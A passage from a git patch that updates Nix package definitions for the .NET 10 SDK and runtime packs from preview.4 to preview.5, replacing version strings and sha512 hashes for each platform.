+        hash = "sha512-xQhcU5dKu5lJp3TuYTuyLKoiu1EIgylqpeDPlZD08Tvg4ucHTkBU+bG/CdINCPL/IjWUSV6Vb77q6FxQjH8Vlg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-linux-musl-x64.tar.gz";
-        hash = "sha512-eMVLzIIt/r8dSXI4fllP97vD1woCYJOT9Nk66Q4svO+gCrwWpdf++CAkRqqQV965GU774t+DwHjCorm6Yf2UIg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-linux-musl-x64.tar.gz";
+        hash = "sha512-ueSPDBuLIz8L7Rjv2E3DWz3/T2yEBSycykD8cBo00dhnRN6sDxVckc68PlQnYXCtC1Haeo5z5Zen09JGcmCMGA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-osx-arm64.tar.gz";
-        hash = "sha512-s+AtjwF4bom8T43nEebtrpe5eeJwl7JnOqUcxRJDBoUzJe3JvomeukuoG2dpLNgeTHujiKFfhc7roEBPG9ySoQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-arm64.tar.gz";
+        hash = "sha512-GFo+NBuSi6GyGPt2n7DYz9cWLFZ8zUaSj/znTWBpugxJHkTpBihVM1KDp0fpla9EUp62/OBtPAnFybCmIsOTYA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.4.25258.110/dotnet-sdk-10.0.100-preview.4.25258.110-osx-x64.tar.gz";
-        hash = "sha512-W4sGZhLE3QnjlVc0zf+7pwPObgPUD2iLSxNnmAsIQHrgeyNPUhnyIl7C222B7d0CxK+6ZK4QrDGIKnG2ARdTng==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/10.0.100-preview.5.25277.114/dotnet-sdk-10.0.100-preview.5.25277.114-osx-x64.tar.gz";
+        hash = "sha512-yvcOuvEYL9gD5goF8veTq29pAuw2W9lLCZAmeXCfsq72EioDJW2005NvM7mPZGI+jtoMZM+K6QKCnCPnRZhxSA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 756c5d1cccb136e914f11f848ce144ca6a00ef04 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 11 Jun 2025 19:57:43 +0000
Subject: [PATCH 1077/4511] dotnetCorePackages.dotnet_10.vmr: 10.0.0-preview.4
 -> 10.0.0-preview.5

(cherry picked from commit efeeb8cd2c20f2a4358e9e38d0869e06f2cc67b4)
---
 .../compilers/dotnet/10/bootstrap-sdk.nix     | 376 +++++++++---------
 .../development/compilers/dotnet/10/deps.json |  48 +--
 .../compilers/dotnet/10/release-info.json     |   6 +-
 .../compilers/dotnet/10/release.json          |  14 +-
 .../dotnet/record-downloaded-packages.proj    |   6 +-
 ...ernals-overwrite-rather-than-append-.patch |  26 ++
 pkgs/development/compilers/dotnet/vmr.nix     |  94 +++--
 7 files changed, 304 insertions(+), 266 deletions(-)
 create mode 100644 pkgs/development/compilers/dotnet/source-build-externals-overwrite-rather-than-append-.patch

diff --git a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
index 305169f877a0..c01ae1f5664e 100644
--- a/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/10/bootstrap-sdk.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-vWfi3rmaeYjPakVUAA/UpIxiLPxsMocAAebe21qdNAgo8pm0qzlEvt2JB94HCw2i4v2pHzabs62l67WdS5djwg==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-s4HlvPy1QuJKFkv5YvtRhYyOBiOm+OHD1RDnOdQCrpxCVbBEguF5jv4Ad4GX/cEqW+HB8hSt0Z0b8+rHu5Ki+A==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-gUHQwJMibQcllICsw+sxgSm/ceKfpAPhxVE1Vm66x2OQp4q+x0zU/AuvDkR8gIj4noJ/7+jBk1lhI0l58WbS0A==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-CpTBajurwDJBqGksHOWwf/deFNhBj5mooR8mkK1hpKexMR20KuprblkuCxHEzdf99F4pvOY3cpi1jpE+jkhqGg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-VfeM6G0eQyv3IFInmAmu9+fNZeBZPbrcv+U/z1HDoCj0K91fqS4zt3fz5z21+zG8DYEAlTF54Han9cEZFHR20A==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-MYy3h/RxwEKD5fKfyW8xb+qiYAdvXmIh4HCxXpiCII04SvWH6myXrF+IsdoAdtIFdNnf/MWe6zbaUi1lwh5MEA==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-cIjmBqaMxRPEEXInf6o5AeRmah9/pMUzqPcakc1AJqz+Ciit+ns2tcN4ykLlgoVAyUeG9v3iO/4OVPijZsVZnQ==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-IveQf1NcMPHPWL4JWlmhjE3Zuh6Z4EH+1vJGbT+WP1TwxGLiek/ejwS1PovGP8rYfkOEWT9LRAE+cHjT849mTA==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "10.0.0-preview.4.25258.110";
-      hash = "sha512-6DksjrXQLPxpormAUtVZuLMHfcpNdCCH+9mKJSMiS1K+EaPI34hV+draFvcCJetHR/Vlcy+3VG2swZAi31cDGg==";
+      version = "10.0.0-preview.5.25277.114";
+      hash = "sha512-/R/whqQSpMH1QImsjt7uq2ALWe9foCob6gVheTqF+Fnwu0LmFZbcAmiB+oEyCt8hJwmS7i/YVg8Gwod5VzdPIA==";
     })
   ];
 
@@ -40,118 +40,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-uuslaUWSs49xZFoOly2UdnvOC0fJcA7Rd5mLx0PHbDvOz5gySJduHcnEyrZf0q0yjX7Hgs/xhg+dZU1Eqje8uw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-5ESzKgrodn+sAQSmMLOxeS7mJWm8BA363aPG91+k/35/Ah/txahPPCc4omRWDMmEutK7fCY8c7zgS7tGlf7McA==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-1guGT2CPPJrlcRAnWl2cl/Jqqu1X7Sqp0B9r8H5NZKhal8eSaYnC6Bn5DL3TYYA0wPNbrbUZ54wkSWHV4gArpA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-qEaKvjfg4dv1xhz/y60Y1n9dQNM5TLo+S5ncuwnZTrUVAxlXBtq9IYqZJ3phynbt5zKPgyqk3P4AUQ9yq+Os4w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-t7u2DtlUkSFN5pnmsj6qlSJGjp9tw7U9cf8dI8g8HlmbHYjQFrf1OQuXAkj4tYbBiQjAGAkr/ykhNyDAm1swwg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-FuN+WXR/OVGTxucPJranVRmxbYdZgGLorua2fl1H8tDXrgnFJ1r1gmUS5nDVG4+6zlbAohUtCmg+CLl2cJZshA==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-lSDeJGzErzirixErfLQetvl9TgiuXKPRcZMupq61g2f9aUwjEan8KdS5kjC4ZFrkfaR/N5+ct/VEi2kW5odBBw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-zFwwL03ZGoCFoSBMIm5JxwDqHoEFwqWQY/70z8L708keOulasLQaZzNo+0Aj17LRbO9ai1f0NraNwgkQipBw3A==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-MVWtx9pN1c1cOn+uLQJEQtmuI2boJLxD+JGrp0hO9Z+ry8fzZ9syUsBfebttmYdBmE56iSJfg75BCPPiBrhh2A==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Z3yH1oMeEi7bfULV1vsJUmhJV7sGFe3j4sTdcQ2Iqot2KnNq54uUDkHigPRSi0PQ0p2tOnK4idVTDntITm4DWw==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-iIv4axN6NGortCDDWnv2hEXDW9WjB/64ydiYQT8FHT7owwtGghkBq0dRyE7d8uowXsSm+JZkOnHPLjMr0p0Lcg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-50+U03mBEDtKgzzQus6e/b9SPeY5hSTrm4k8Jk0AyiKzU30UL7sjgQzfRGGvNEKEEScDg86nqeJ4Ox3A8Splqg==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-oc/ufL4QLBzTqrHphJ+v5WCY5pwU1mSEapHhbpLScOu7wdAsmVNhESXVa0k2wNsYMfOUxPA/+ztQ/EBOXI+BgA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-FOGUGW5RSoxkBLjiVP2Rq6yIrODbDFF822fAySFR0Sb7Wl5zFa2DBrzobjjpPX5kxGO5g/KDpvvhzc5ER6NSVA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-t8HlQpH3NpM441PLmfmblZEs0vz/EFUV2VV5Lyk4djEice1Ozv9G2rImmFv6dp1L+wPZ4i30ROEhpcrP09I8QA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-B/YcJ/Owoamyww7r2MsTI2cSWTmADFiUAH+JLXo2gJKx29W1FHo9/AJkzhj4hPbTOjcxXZXgnpdAv1wpVAsgRw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-1IUc1oMd94aJys8I4OlCRI6cUGH2vnh5YHImHE+95FoFHXCruOiGhURmnrGeKX0qXjyjdDspqMuks0eiu7NyUA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-EWGjha2ABrQ5dc80NPXI3wqMBwTbV57Yd8+vhtG9+TUkdaPIm7Ih9tiEskTdw4bbvRi4WJaPMlkaw7t1bUcO4g==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-i8GunHeJSaSYPZYCuRxoatrJrjKLgsqEXNB9Nq4neHrK6douI2YSxZEIuDFOYlWtWrqJWXPj1Bvd/HtIaw+KyQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-4KsNQ8Qd5WwJGSeRM8oIUUc0xlFJ4Sijfmyi+jCHGPKs8NsBOeojdSyg36ROBeDZ1pJVkplLqQJkl4/QMk+6Ag==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-zZH8KOTdzjA0ZTSJ0JaAiN67sNjlc8sH4uI2Z72CiCIYgWrSsGGc9xB8UfLWtpdc56VUgK8nXOBOhGEoKAbKCQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-t2fI/fmsogh6D2d0Y8QDBvvubtSNxfCuwoY0zHO2Kq80VflvC9AnC8JGEBjiGH7UDf57sVDzZkBkFcB6zIYEpw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-EnBkJr7HU9Ry04aklgocx8TDSuwDfMIu6IJyq0FOGDmxIrbftIoycNg9uiQIntzpGYnqclYTvxpmddYjyFAgLA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-A8r/O6ncUS0OoLWuIO081xE77Im/EKQ3ath4DzqL27GBO7AqBYME8c0fEMxBn3ezqDKKgp7WoRjxmvyFrjjFUg==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.osx-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-EPzA41GT9+m4+1PI2VuYJV7brN8IoVfbAZ7Mf+9vhoJRnEpkHTKVzbRb/Or5MEXcruLj23ZJv8nlavBZGt46dQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-4XoD65xIjjxalBaqZp+wGp2IGgbo3MVSs0cPV3LRuyuyci3TEZmyYj63ZbA7zJcjzXJXDhgjQVX14JPx195ZCw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-tPHg/NyhOaJD1VOkk7rPmfeCrGCgZ82L7rduyeZf41wZhlfApycRRqdWZuDBbbPi4ZXnBmr6ZbiAknhorVeS9Q==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-TP1b+02yPlLhvj16Hq2Fwn8Qxq+NXvLM0QxxIiFCa8RHijb9WmSRvzNwUp1HLxjArzgbvCDlTmwlMsh2LbwSvg==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-6RtyWlpvIBR1rRiJloG/hLKG7jX7/dWnTOoaODdPR/1XMrvJUHhIgxh84qZRcDAhnTW+SSXmrWXVgvBFRuKDkQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-DoHyLSBIYsD1mfbHnJDKi7PvqPOSd5ySoDeI2m0pv55Dx46CQdks14lIuusttk46bvBUFfp63KILpbmQzU1ovQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-8vBMhAkenArNqzb2iRwWJJRmqgQ2PCa5lNMFj/JrfeIHuvhLCAN+4zvLj8+WMKPVYD8uIrUG0qKLvEqimCURaA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Kbdr7rNaKTP8XaMzevtG7RPH+UQ4IQQd6No7fzBN7/VStj1uPc4Y7OMxrDtnGZFbGo06IbTtPSAxcrWj6BE4hg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-wFj0m2cPFDkSjYR1qJrTsdV/m7YTxo+pC/aY7R0adVWZJQ4n57/HdzB5ZHDfsGfcPueRQ+wzFyoMpQ67FLrOvQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-3ShS2dKWGFmMgI76TuN1kYWzDpumT9ToxNVxMJTt7I6t+vICEVbwWXZPi2cD7ZWHrzi3/tIgSVzzHNFazj13oQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-49V5bfRKEcjeqRy5YUSp5Z8ttGBw0LhDc4ScGKnZcvI/DXiDO2F5tLcCuyUALeyocVYqhLMzf90qXs9vkFDVnA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-1U//TasFxoxn0VJjA/iPzzJDnQenarO74bvPMraRrQfGqR4t2AEZA1gLgV5Mz38LVB0irpvxdSPoEW4keNA0tw==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.win-x86";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Qv0lflOQmXTGb3B4Ex7087VvZXRu8IzMumq2ij/pocKm53kx9cMjuWp51LRqy5S8f+iG9OMtg3qzHrrYfy0Jkg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-KIydC5/Xl87tFKN6pESgrcGatj0zcf1bzgBjlx+qGr3vk90EHRV2yk67hLok5jzqlnbSBKrF7UwEau5Se0mMMQ==";
       })
     ];
   };
@@ -160,361 +160,361 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-C0StqvgEE4P/6k2IA3K7hfHOg6NaBtw4QsYo+WBNe/+Ncm/LpkAz/kzswIpEQenBKHOiOxt0gXrDU6wKoiZHKA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-sZMp5qkPDTK6VyqYT4a8sfGuFb5xkUo3aIaXDRjOAQznRmknxKycMQxV0pIxxFvVeyyBeqvxYslT2AhhL+EHAA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-uzd6h0bZSwGJFj0pYewpPGcO321uuiKiz0g72E4AmaGArw4SLamqXPW4R7IvxkQwBgH8XdDvl5JiYh1Q7m8nSw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-6Fblda7ZmvctHnrFBgbPI7ASkzBwA6PyENq/fBAKN9qXA1s3RcITpRE05IIiXWyWetC1069bbkZZ9IJ7fJGQpg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-wgISlUvkDZlpXe349zD3sbJWGPgYbt0dixg+JewPkW5wx5fUc9dkTBX6i7IZwb3IgmITO9WenMaJI25ceK/CUQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-/NjUBaHpFjAiugmZ9mX5R/v5nfey41rWao/msHOt8/0nafBqGiOxAL31bTZbcgMIIt62lOKKxjWpJ1FBbSiM9w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-pI1iX+DJ/QhC0OpCmHw9tL4FAnK8bbHKi6C45cryD7h8Vtig48LxyoOpyIy5qv/N7UYQcZVLI5gn3V9a87KlNg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-R8veKCL6tx0+Mf0dnLS1S0vy2VyaAHkOEnLpr0P1lGuafdGUH6U9soRORAmN4Yd1Li4M0o9CP11Izunq/iG3Pg==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-vCnb2RgQVunOTzEQNCfl1tqx66PVmnq9dNgLLKtWVxjIj5smtR4pjv8PIUTsXa6eunl5Sje5LuCghAsDYOuEhA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-z4nJcFunBtPJgbSQO+pZHZpYVH/hnDWBJtSf5J7pVCKzRYm3mJb1N0DIx/2wB1HtVg0cvw5K1QIBeQdBv5aRxA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-kxLQqbRDypZACsKMnwuxKk/UGp9poLAgbs45S6cGuIuG50H7o2l4lg7DScBU0FWBIjaUbyb+gEKUyT7+f6CWOg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-6HRNrz6RVTrD5XQuq35HhBE5qC3iBts30LwDZ27eICx3xSoe3cVX+cDKyaQenobOwMCS/trHB1AvfkTTMI//gg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-/AeNVTpdH1X0wswtB821nx5tDKL7pVxhOPbHt9zwRbqxvIdHOkAxKZwxbhpDu38I+c0sMYOQwdrekHe3v2p1vQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-TWpJ6I11YP653VrhYUiSQgI/mwCfk1t4ngl0DBGezsxuSsCW9SrVVsZaCoboAm2hKbGlgC620YQOCLUofZxaRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-FhXBAECkx2pTl+o02UWuJuKtGFUMZ3NZVyApMOubAlE0y9BuaV6pu/0a32DlE4s7vVyoJAayWyspmw8dqGyGSQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-I1h/tB0nh4CzOccmktX4KSZR9dNqYrqS1nZDs1ij889XtoIrYePtSnMasnxMfaeMp8vY7WCSKSWNPlynhOh15A==";
       })
     ];
     linux-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-arMALatifYSYEOsWnO1WVu5+QO3YIRdN0kIcUVS2zaWblFMK9g4wPBj/TV9FwwfXN+fAuehjhLv4ZcdkKEzozQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-5+DdKKWt/JW373FJ6r5+vrQRhv6xRAyQXPeHdrAEAP/wlK9AnJE9pYuHfQI2Trwqklak5O1Ag5GrRin/7oBVaw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-2aTTaiEyzXR/Q2GuqxpzvLt5F9Psv4tI6+0+fZfJYo5f9uK1N6ccMdjhqyJH65Be7qdFvTUZsK0upOcdmRlb9w==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-zbq3UWa9qBoaEgYvvU1dR6V9YPIHs+liWOhUj5qfGBGKtZH8bTvpbNu0isYms0d9ML69aWTAiZg5C9rFP5hrag==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-CPXT1/j+JIuPx85z2CTOUSNBKA/Ru7ViiMt3Pco2gznFAyWQeiIFzBNJh0Hh15xSkKZnKBQ++Dea1J6GXMEgfQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-ksXckpgL0kdZEVVgAmofcEUL8GIxwPOGS2+UVN8Fo7gj+RV0zwbXSUH3v4KNIq/8ngFVOh6pQU22CzCwxoB3Pw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-W8HRshU8mCn6SvlAWzwn3pQBI0u4z7tyHVvWzOqoiNbWjfOST8Dai/K1xSMdqUaB8UDd6UvslW9vICLbOgBMSg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-bpdq72fgG+2FD5BC95wpEikX0hmTnypjS+ORXy9205+a3ElhlQXzwe1u/x3fNzAKOXVeGatHibdzAHrOmowARA==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-XN2AgOKMX9LAyrQc/z3BOtQIWnlTuCb9b9APjfY6xP3chc5n+5TOqpVh/qQVNx3/nIHl6TeZ9KxuB7mYxH3E1g==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-ctmfELPcwp5Vaoh/3oQVoe2ZtivoZarY+XgVW3jC0hvn7qiensODQJP3am84kRu5l4k/c8MFU4HJkjFEopFKCw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-klhpghCNw87bBhxvKxqA7xKWDYrDCWlRXTDhcgrK3jz/e9/B3eig8kiIIIWJ5sTBdrBSaZBziYPbgGBj9qH2hw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-v39otkbx5A2qerWBnqFu6ZtJYXy4sMvK/xv8RGMOgLR7VdcD5kwQpF80ldz7de23qh66nRFd9ONLKajtJqu58g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-TPyPwxc5nmvfI+qzB6Rh5BsyoXoSqkb0fC2u6F+KdKjPs5sji0N8vqJs0oD0fsxcXcDipGZ29KKNFwjm42EzQA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-BHr5lNkp8ct/5a2kSVedpsTPKGhOm/ofmD0Tgb7a3vT0dEsuzH+4CwcH7/QmSfyr/TaJeiOzraBxIuQwGlDTHA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-faMYtAbsnq2lajDY+kqzYPGff562MVOB/wMG2xifD9Gz1bKiSo2GLR/wwJRvIWlTrb46Y7Uoa5O4AK6LEX4sxw==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-0kygUISqT53WxlL8CYxN7yR/imN0z3fKWgm3NKhUbW/nURkcvLz/J/ft64/ib26Ez4izYNnRqJOYdAaYWSd/XQ==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-lzGjDryEGWgrjzo1Jn8der4K6xVMN6VDDOwSAUkShMEBfQDZgmSFmkF1qFYzVdsdkaKyLOvY9ojILmbD0Dlirg==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-aOBEqQy1MMYXjG2tCc/yvCN+J5wRq0ZONOW8CTDIXJJVC7FDsW4gDHpa8B6j1D+Cfufw8lN9jymwmEkg+bfQeA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-MOC9ECT6SNDvKWe0GztteB2xjMmxjYvBo3IMBoT/u60pj3Pq4oKvbvdTWXswKYnXdZbm4QMbWXW44kCbkI28SA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-nx+JKXvSyhia1LdIRj0wN/Enu7hEoggBI0/kZtE+K/k5RJAX4An2GVirc5YvuM2FhWnEHC72Ex7Dg74Q4rFWBA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-Fj1f1/paElOi1bIGX7lnRV/EpgAe2MSJueYnTsubIYQu6DL1dO01XE0npm8z5InVks5MSmswTY/l8UibOmm/wQ==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-Ik2gQHaJkzM45PFOzFW5nbTdXJLfEcBtWC077cD6Lzmdg0C+jRRYLpDtXfEqt9CMBdgGKYWR4KBLKubLiC7nsA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-lWhzsbJRYcJStaCn1U/fmg8Bcv/3c6s6Ba6hpv7m/Y0nI+eNvRS+aOoHF5Bf8AgXmA7ukhrRP7QvQhxcvcLX1A==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-YdnzOIgp1zhd9OUpcEQJ3/Fje9GviYa4/+bbn8StJgMK8RgR+9CTQeC1ePazCqKXQ7oYcXXjgchE8CbNsxRFfw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
-        hash = "sha512-kuBEdbF4mtqnayGH6xR+2Qh5nO8ipPVikosW31oAJFSYsxMwNn5EIQ5Xt/XSuRNM5APVGZYu6i49l/ldghxDtA==";
+        version = "10.0.0-preview.5.25277.114";
+        hash = "sha512-39ITIAZNO9ZVKE6UY5KKSWvd3wiT1b6n0nUfApUCqMd5MlkExTuMKToY5J1CwWhDhWTq8d+q9USCO65MsUueIg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.4.25258.110";
